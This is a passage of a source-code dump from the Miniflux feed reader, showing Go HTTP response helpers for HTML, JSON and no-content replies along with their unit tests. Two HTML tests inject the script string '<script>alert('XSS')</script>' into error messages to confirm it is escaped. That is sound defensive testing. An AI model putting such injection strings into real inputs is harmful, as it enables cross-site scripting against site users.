r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusForbidden),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusForbidden)\n\tbuilder.WithHeader(\"Content-Type\", \"text/html; charset=utf-8\")\n\tbuilder.WithHeader(\"Cache-Control\", \"no-cache, max-age=0, must-revalidate, no-store\")\n\tbuilder.WithBodyAsString(\"Access Forbidden\")\n\tbuilder.Write()\n}\n\n// HTMLNotFound sends a page not found error to the client.\nfunc HTMLNotFound(w http.ResponseWriter, r *http.Request) {\n\tslog.Warn(http.StatusText(http.StatusNotFound),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusNotFound),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusNotFound)\n\tbuilder.WithHeader(\"Content-Type\", \"text/html; charset=utf-8\")\n\tbuilder.WithHeader(\"Cache-Control\", \"no-cache, max-age=0, must-revalidate, no-store\")\n\tbuilder.WithBodyAsString(\"Page Not Found\")\n\tbuilder.Write()\n}\n\n// HTMLRedirect redirects the user to another location.\nfunc HTMLRedirect(w http.ResponseWriter, r *http.Request, uri string) {\n\thttp.Redirect(w, r, uri, http.StatusFound)\n}\n\n// HTMLRequestedRangeNotSatisfiable sends a range not satisfiable error to the client.\nfunc HTMLRequestedRangeNotSatisfiable(w http.ResponseWriter, r *http.Request, contentRange string) {\n\tslog.Warn(http.StatusText(http.StatusRequestedRangeNotSatisfiable),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusRequestedRangeNotSatisfiable),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusRequestedRangeNotSatisfiable)\n\tbuilder.WithHeader(\"Content-Type\", \"text/html; charset=utf-8\")\n\tbuilder.WithHeader(\"Cache-Control\", \"no-cache, max-age=0, must-revalidate, no-store\")\n\tbuilder.WithHeader(\"Content-Range\", contentRange)\n\tbuilder.WithBodyAsString(\"Range Not Satisfiable\")\n\tbuilder.Write()\n}\n"
  },
  {
    "path": "internal/http/response/html_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n)\n\nfunc TestHTMLResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tHTML(w, r, \"Some HTML\")\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusOK)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `Some HTML` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `Some HTML`)\n\t}\n\n\theaders := map[string]string{\n\t\t\"Content-Type\":  \"text/html; charset=utf-8\",\n\t\t\"Cache-Control\": \"no-cache, max-age=0, must-revalidate, no-store\",\n\t}\n\n\tfor header, expected := range headers {\n\t\tif actual := resp.Header.Get(header); actual != expected {\n\t\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t\t}\n\t}\n}\n\nfunc TestHTMLServerErrorResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tHTMLServerError(w, r, errors.New(\"Some error with injected HTML <script>alert('XSS')</script>\"))\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusInternalServerError {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusInternalServerError)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `Some error with injected HTML &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `Some error with injected HTML &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != \"text/plain; charset=utf-8\" {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, \"text/plain; charset=utf-8\")\n\t}\n}\n\nfunc TestHTMLBadRequestResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tHTMLBadRequest(w, r, errors.New(\"Some error with injected HTML <script>alert('XSS')</script>\"))\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusBadRequest {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusBadRequest)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `Some error with injected HTML &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `Some error with injected HTML &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != \"text/plain; charset=utf-8\" {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, \"text/plain; charset=utf-8\")\n\t}\n}\n\nfunc TestHTMLForbiddenResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tHTMLForbidden(w, r)\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusForbidden {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusForbidden)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `Access Forbidden` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `Access Forbidden`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != \"text/html; charset=utf-8\" {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, \"text/html; charset=utf-8\")\n\t}\n}\n\nfunc TestHTMLNotFoundResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tHTMLNotFound(w, r)\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusNotFound {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusNotFound)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `Page Not Found` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `Page Not Found`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != \"text/html; charset=utf-8\" {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, \"text/html; charset=utf-8\")\n\t}\n}\n\nfunc TestHTMLRedirectResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tHTMLRedirect(w, r, \"/path\")\n\t})\n\n\thandler.ServeHTTP(w, r)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusFound {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusFound)\n\t}\n\n\tif actualResult := resp.Header.Get(\"Location\"); actualResult != \"/path\" {\n\t\tt.Fatalf(`Unexpected redirect location, got %q instead of %q`, actualResult, \"/path\")\n\t}\n}\n\nfunc TestHTMLRequestedRangeNotSatisfiable(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tHTMLRequestedRangeNotSatisfiable(w, r, \"bytes */12777\")\n\t})\n\n\thandler.ServeHTTP(w, r)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusRequestedRangeNotSatisfiable {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusRequestedRangeNotSatisfiable)\n\t}\n\n\tif actualContentRangeHeader := resp.Header.Get(\"Content-Range\"); actualContentRangeHeader != \"bytes */12777\" {\n\t\tt.Fatalf(`Unexpected content range header, got %q instead of %q`, actualContentRangeHeader, \"bytes */12777\")\n\t}\n}\n"
  },
  {
    "path": "internal/http/response/json.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n)\n\nconst jsonContentTypeHeader = `application/json`\n\n// JSON creates a new JSON response with a 200 status code.\nfunc JSON(w http.ResponseWriter, r *http.Request, body any) {\n\tresponseBody, err := json.Marshal(body)\n\tif err != nil {\n\t\tJSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithHeader(\"Content-Type\", jsonContentTypeHeader)\n\tbuilder.WithBodyAsBytes(responseBody)\n\tbuilder.Write()\n}\n\n// JSONCreated sends a created response to the client.\nfunc JSONCreated(w http.ResponseWriter, r *http.Request, body any) {\n\tresponseBody, err := json.Marshal(body)\n\tif err != nil {\n\t\tJSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusCreated)\n\tbuilder.WithHeader(\"Content-Type\", jsonContentTypeHeader)\n\tbuilder.WithBodyAsBytes(responseBody)\n\tbuilder.Write()\n}\n\n// JSONAccepted sends an accepted response to the client.\nfunc JSONAccepted(w http.ResponseWriter, r *http.Request) {\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusAccepted)\n\tbuilder.WithHeader(\"Content-Type\", jsonContentTypeHeader)\n\tbuilder.Write()\n}\n\n// JSONServerError sends an internal error to the client.\nfunc JSONServerError(w http.ResponseWriter, r *http.Request, err error) {\n\tslog.Error(http.StatusText(http.StatusInternalServerError),\n\t\tslog.Any(\"error\", err),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusInternalServerError),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusInternalServerError)\n\tbuilder.WithHeader(\"Content-Type\", jsonContentTypeHeader)\n\tbuilder.WithBodyAsBytes(generateJSONError(err))\n\tbuilder.Write()\n}\n\n// JSONBadRequest sends a bad request error to the client.\nfunc JSONBadRequest(w http.ResponseWriter, r *http.Request, err error) {\n\tslog.Warn(http.StatusText(http.StatusBadRequest),\n\t\tslog.Any(\"error\", err),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusBadRequest),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusBadRequest)\n\tbuilder.WithHeader(\"Content-Type\", jsonContentTypeHeader)\n\tbuilder.WithBodyAsBytes(generateJSONError(err))\n\tbuilder.Write()\n}\n\n// JSONUnauthorized sends a not authorized error to the client.\nfunc JSONUnauthorized(w http.ResponseWriter, r *http.Request) {\n\tslog.Warn(http.StatusText(http.StatusUnauthorized),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusUnauthorized),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusUnauthorized)\n\tbuilder.WithHeader(\"Content-Type\", jsonContentTypeHeader)\n\tbuilder.WithBodyAsBytes(generateJSONError(errors.New(\"access unauthorized\")))\n\tbuilder.Write()\n}\n\n// JSONForbidden sends a forbidden error to the client.\nfunc JSONForbidden(w http.ResponseWriter, r *http.Request) {\n\tslog.Warn(http.StatusText(http.StatusForbidden),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusForbidden),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusForbidden)\n\tbuilder.WithHeader(\"Content-Type\", jsonContentTypeHeader)\n\tbuilder.WithBodyAsBytes(generateJSONError(errors.New(\"access forbidden\")))\n\tbuilder.Write()\n}\n\n// JSONNotFound sends a page not found error to the client.\nfunc JSONNotFound(w http.ResponseWriter, r *http.Request) {\n\tslog.Warn(http.StatusText(http.StatusNotFound),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusNotFound),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusNotFound)\n\tbuilder.WithHeader(\"Content-Type\", jsonContentTypeHeader)\n\tbuilder.WithBodyAsBytes(generateJSONError(errors.New(\"resource not found\")))\n\tbuilder.Write()\n}\n\nfunc generateJSONError(err error) []byte {\n\ttype errorMsg struct {\n\t\tErrorMessage string `json:\"error_message\"`\n\t}\n\n\tencodedBody, _ := json.Marshal(errorMsg{ErrorMessage: err.Error()})\n\treturn encodedBody\n}\n"
  },
  {
    "path": "internal/http/response/json_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n)\n\nfunc TestJSONResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSON(w, r, map[string]string{\"key\": \"value\"})\n\t})\n\n\thandler.ServeHTTP(w, r)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusOK)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"key\":\"value\"}` {\n\t\tt.Fatalf(`Unexpected body, got %q instead of %q`, actualBody, `{\"key\":\"value\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestJSONCreatedResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSONCreated(w, r, map[string]string{\"key\": \"value\"})\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusCreated {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusCreated)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"key\":\"value\"}` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `{\"key\":\"value\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestJSONAcceptedResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSONAccepted(w, r)\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusAccepted {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusAccepted)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, ``)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestJSONServerErrorResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSONServerError(w, r, errors.New(\"some error\"))\n\t})\n\n\thandler.ServeHTTP(w, r)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusInternalServerError {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusInternalServerError)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"error_message\":\"some error\"}` {\n\t\tt.Fatalf(`Unexpected body, got %q instead of %q`, actualBody, `{\"error_message\":\"some error\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestJSONBadRequestResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSONBadRequest(w, r, errors.New(\"Some Error\"))\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusBadRequest {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusBadRequest)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"error_message\":\"Some Error\"}` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `{\"error_message\":\"Some Error\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestJSONUnauthorizedResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSONUnauthorized(w, r)\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusUnauthorized {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusUnauthorized)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"error_message\":\"access unauthorized\"}` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `{\"error_message\":\"access unauthorized\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestJSONForbiddenResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSONForbidden(w, r)\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusForbidden {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusForbidden)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"error_message\":\"access forbidden\"}` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `{\"error_message\":\"access forbidden\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestJSONNotFoundResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSONNotFound(w, r)\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusNotFound {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusNotFound)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"error_message\":\"resource not found\"}` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `{\"error_message\":\"resource not found\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestBuildInvalidJSONResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSON(w, r, make(chan int))\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusInternalServerError {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusInternalServerError)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"error_message\":\"json: unsupported type: chan int\"}` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `{\"error_message\":\"json: unsupported type: chan int\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestBuildInvalidJSONCreatedResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tJSONCreated(w, r, make(chan int))\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusInternalServerError {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusInternalServerError)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `{\"error_message\":\"json: unsupported type: chan int\"}` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `{\"error_message\":\"json: unsupported type: chan int\"}`)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != jsonContentTypeHeader {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of %q`, actualContentType, jsonContentTypeHeader)\n\t}\n}\n\nfunc TestGenerateJSONError(t *testing.T) {\n\tactualBody := string(generateJSONError(errors.New(\"some error\")))\n\tif actualBody != `{\"error_message\":\"some error\"}` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, `{\"error_message\":\"some error\"}`)\n\t}\n}\n"
  },
  {
    "path": "internal/http/response/response.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport \"net/http\"\n\n// ContentSecurityPolicyForUntrustedContent is the default CSP for untrusted content.\n// default-src 'none' disables all content sources\n// form-action 'none' disables all form submissions\n// sandbox enables a sandbox for the requested resource\n// https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy\n// https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/form-action\n// https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox\n// https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/default-src\nconst ContentSecurityPolicyForUntrustedContent = `default-src 'none'; form-action 'none'; sandbox;`\n\n// NoContent sends a no content response to the client.\nfunc NoContent(w http.ResponseWriter, r *http.Request) {\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusNoContent)\n\tbuilder.Write()\n}\n"
  },
  {
    "path": "internal/http/response/response_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n)\n\nfunc TestNoContentResponse(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNoContent(w, r)\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\tif resp.StatusCode != http.StatusNoContent {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, http.StatusNoContent)\n\t}\n\n\tif actualBody := w.Body.String(); actualBody != `` {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, ``)\n\t}\n\n\tif actualContentType := resp.Header.Get(\"Content-Type\"); actualContentType != \"\" {\n\t\tt.Fatalf(`Unexpected content type, got %q instead of empty string`, actualContentType)\n\t}\n}\n"
  },
  {
    "path": "internal/http/response/text.go",
